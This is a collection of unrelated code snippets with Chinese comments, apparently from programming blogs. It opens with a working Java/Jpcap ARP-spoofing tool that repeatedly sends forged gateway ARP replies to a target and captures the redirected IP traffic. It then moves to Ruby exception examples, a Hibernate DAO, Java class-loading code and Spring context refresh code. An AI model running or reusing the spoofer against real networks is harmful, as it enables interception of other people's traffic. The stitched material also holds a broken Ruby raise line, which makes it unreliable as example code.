public class LocalListener {

    private final static String GATE_IP = "192.168.11.1";
  private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
    private JpcapCaptor jpcap;                                        //与设备的连接
    private JpcapSender sender;                                     //用于发送的实例
    private Packet replyPacket;                                      //ARP reply包
    private NetworkInterface device;                           //当前机器网卡设备
    private IpMacMap targetIpMacMap;                        //目的地IP MAC对

    public LocalListener(IpMacMap target) throws Exception {
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();               device = devices[1];
        this.targetIpMacMap = target;
        initSender();
        initPacket();
    }

    private void initSender() throws Exception {
        jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);    //打开与设备的连接
        jpcap.setFilter("ip", true);                                //只监听ip数据包
        sender = jpcap.getJpcapSenderInstance();
    }

    private void initPacket() throws Exception {
        //reply包的源IP和MAC地址，此IP-MAC对将会被映射到ARP表
        IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);  
        //创建修改目标机器ARP的包
        replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd); 
        //创建以太网头信息，并打包进reply包
        replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
                device.mac_address);
    }

    public void listen() throws InterruptedException{
        Thread t = new Thread(new Runnable() {
            public void run() {
              //发送reply封包，修改目的地arp表， arp表会在一段时间内被更新，所以需要不停发送
                while(true){
                    send();  
                    try {
                        Thread.sleep(500);
                    } catch (InterruptedException ex) {
                        Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);
                    }
                }
            }
        });
        t.start();
        //截获当前网络设备的封包收发信息
        while(true){
            IPPacket ipPacket = (IPPacket)jpcap.getPacket();
            System.out.println(ipPacket);
        }
    }}


//IP-MAC实体，只用于保存一对IP-MAC地址
public class IpMacMap {
    private String ip;
    private byte[] mac;

    public IpMacMap(){
    }
    
    public IpMacMap(String ip, byte[] mac){
        this.ip = ip;
        this.mac = mac;
    }
    
    public String getIp() {
        return ip;
    }

    public void setIp(String ip) {
        this.ip = ip;
    }

    public byte[] getMac() {
        return mac;
    }

    public void setMac(byte[] mac) {
        this.mac = mac;
    }   
    
}

//ARP reply包生成类，用于根据目的地址和源地址生成reply包
public class ARPPacketGern{

    public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
        ARPPacket arpTarget = new ARPPacket();
        arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //选择以太网类型(Ethernet)
        arpTarget.prototype = ARPPacket.PROTOTYPE_IP;         //选择IP网络协议类型
        arpTarget.operation = ARPPacket.ARP_REPLY;              //选择REPLY类型
        arpTarget.hlen = 6;                              //MAC地址长度固定6个字节
        arpTarget.plen = 4;                              //IP地址长度固定4个字节
        arpTarget.target_hardaddr = target.getMac();
        arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
        arpTarget.sender_hardaddr = sender.getMac();
        arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
        return arpTarget;
    }
}





//根据目的地MAC和源MAC构建以太网头信息，用于传输数据
public class EthernetPacketGern{
    public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
        EthernetPacket ethToTarget = new EthernetPacket();           //创建一个以太网头
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;   //选择以太包类型
        ethToTarget.dst_mac = targetMac;
        ethToTarget.src_mac = senderMac;        
        return ethToTarget;
    }
}

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raise                                                       #抛出一个默认的RuntimeError
raise "Some error message"                   #抛出一个消息为"Some error message"的RuntimeError
raise ArgumentError                                #抛出一个无消息的ArgumentError
raise ArgumentError, "Bad data"           #抛出一个消息为"Bad data"的ArgumentError
raise ArgumentError.new("Bad data")    #同上
raise ArgumentError ArgumentError, "Bad data", caller[0]  #抛出一个包含消息的格式为filename:line 或者 filename:line:in 'method' 的异常 

       
def func1
puts caller            #打印调用者信息
end

def func2
func1                    #第六行
end

def func3
func2                    #第十行
end

func3                    #最终调用者，十三行

#运行结果
#test.rb:6:in `func2'
#test.rb:10:in `func3'
#test.rb:13

begin
    ......                               #可能出现异常的代码
rescue  errorType1            #要捕捉的异常类型
    ......                               #处理异常的代码
rescue  errorType2            #要捕捉的异常类型
    ......                               #处理异常的代码
end

begin
    ......                               #可能出现异常的代码
rescue  errorType1            #要捕捉的异常类型
    ......                               #处理异常的代码
rescue  errorType2            #要捕捉的异常类型
    ......                               #处理异常的代码
else
    ......                               #如果以上代码类型都没有捕捉到，则运行该段代码
end

begin
   raise ArgumentError, "Bad data"
rescue => err
  puts err
end

begin
   raise ArgumentError, "Bad data"
rescue => err
  puts err
ensure
  ...                       #执行清理工作
end

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public interface GenericDao <T, PK extends Serializable> {
    PK create(T newInstance);
    ...
    void beginTransaction();
    void commit();  
    void rollback();
}

public class GenericDAOHibernate <T,ID extends Serializable, DAOImpl extends GenericDao>
	implements GenericDao {

	private Session session;
	private Transaction tx;
	@Override
	public void beginTransaction() {
		// TODO Auto-generated method stub
		session = HibernateUtil.currentSession();
		tx = HibernateUtil.currentTx();
		tx.begin();
	}

	@Override
	public void commit() {
		// TODO Auto-generated method stub
		tx.commit();
	}

	@Override
	public void rollback() {
		// TODO Auto-generated method stub
		tx.rollback();
	}
	
         ......
}

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    protected synchronized Class loadClass(String name, boolean resolve)
	throws ClassNotFoundException
    {
	// 首先检查该name指定的class是否有被加载
	Class c = findLoadedClass(name);
	if (c == null) {
	    try {
		if (parent != null) {
		    //如果parent不为null，则调用parent的loadClass进行加载
c = parent.loadClass(name, false);
		} else {
			//parent为null，则调用BootstrapClassLoader进行加载
		    c = findBootstrapClass0(name);
		}
	    } catch (ClassNotFoundException e) {
	        //如果仍然无法加载成功，则调用自身的findClass进行加载			
	        c = findClass(name);
	    }
	}
	if (resolve) {
	    resolveClass(c);
	}
	return c;
    }

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	protected WebApplicationContext createWebApplicationContext(
			ServletContext servletContext, ApplicationContext parent) throws BeansException {
		Class contextClass = determineContextClass(servletContext);
		if (!ConfigurableWebApplicationContext.class.isAssignableFrom(contextClass)) {
			throw new ApplicationContextException("Custom context class [" + contextClass.getName() +
					"] is not of type ConfigurableWebApplicationContext");
		}

		ConfigurableWebApplicationContext wac =
				(ConfigurableWebApplicationContext) BeanUtils.instantiateClass(contextClass);
		wac.setParent(parent);
		wac.setServletContext(servletContext);
                //获取spring配置文件信息，在web.xml中的contextConfigLocation中
		String configLocation = servletContext.getInitParameter(CONFIG_LOCATION_PARAM);
		if (configLocation != null) {
			wac.setConfigLocations(StringUtils.tokenizeToStringArray(configLocation,
					ConfigurableWebApplicationContext.CONFIG_LOCATION_DELIMITERS));
		}

		wac.refresh();  
		return wac;
	}

	public void refresh() throws BeansException, IllegalStateException {
		synchronized (this.startupShutdownMonitor) {
			this.startupTime = System.currentTimeMillis();

			//初始化context内部的beanfactory
			refreshBeanFactory();
			ConfigurableListableBeanFactory beanFactory = getBeanFactory();

			// Populate the bean factory with context-specific resource editors.
			ConfigurableBeanFactoryUtils.registerResourceEditors(beanFactory, this);
			beanFactory.registerCustomEditor(Class.class, new ClassEditor(getClassLoader()));

			// Configure the bean factory with context semantics.
			beanFactory.addBeanPostProcessor(new ApplicationContextAwareProcessor(this));
			beanFactory.ignoreDependencyInterface(ResourceLoaderAware.class);
			beanFactory.ignoreDependencyInterface(ApplicationEventPublisherAware.class);
			beanFactory.ignoreDependencyInterface(MessageSourceAware.class);
			beanFactory.ignoreDependencyInterface(ApplicationContextAware.class);

			// Allows post-processing of the bean factory in context subclasses.
			postProcessBeanFactory(beanFactory);

			// Invoke factory processors registered with the context instance.
			for (Iterator it = getBeanFactoryPostProcessors().iterator(); it.hasNext();) {
				BeanFactoryPostProcessor factoryProcessor = (BeanFactoryPostProcessor) it.next();
				factoryProcessor.postProcessBeanFactory(beanFactory);
			}

			if (logger.isInfoEnabled()) {
				if (getBeanDefinitionCount() == 0) {
					logger.info("No beans defined in application context [" + getDisplayName() + "]");
				}
				else {
					logger.info(getBeanDefinitionCount() + " beans defined in application context [" + getDisplayName() + "]");
				}
			}

			// Invoke factory processors registered as beans in the context.
			invokeBeanFactoryPostProcessors();

			// Register bean processors that intercept bean creation.
			registerBeanPostProcessors();

			// Initialize message source for this context.
			initMessageSource();

			// Initialize event multicaster for this context.
			initApplicationEventMulticaster();

			// Initialize other special beans in specific context subclasses.
			onRefresh();

			// Check for listener beans and register them.
			registerListeners();

			// Instantiate singletons this late to allow them to access the message source.
			beanFactory.preInstantiateSingletons();

			// Last step: publish corresponding event.
			publishEvent(new ContextRefreshedEvent(this));
		}
	}

	protected final void refreshBeanFactory() throws BeansException {
		// Shut down previous bean factory, if any.
		if (this.beanFactory != null) {
			this.beanFactory.destroySingletons();
			this.beanFactory = null;
		}

		// Initialize fresh bean factory.
		try {
                        //创建新的beanfactory
			DefaultListableBeanFactory beanFactory = createBeanFactory();
                        //加载bean定义到beanfactory
			loadBeanDefinitions(beanFactory);
			this.beanFactory = beanFactory;
			if (logger.isInfoEnabled()) {
				logger.info("Bean factory for application context [" + getDisplayName() + "]: " + beanFactory);
			}
		}
		catch (IOException ex) {
			throw new ApplicationContextException(
					"I/O error parsing XML document for application context [" + getDisplayName() + "]", ex);
		}
	}

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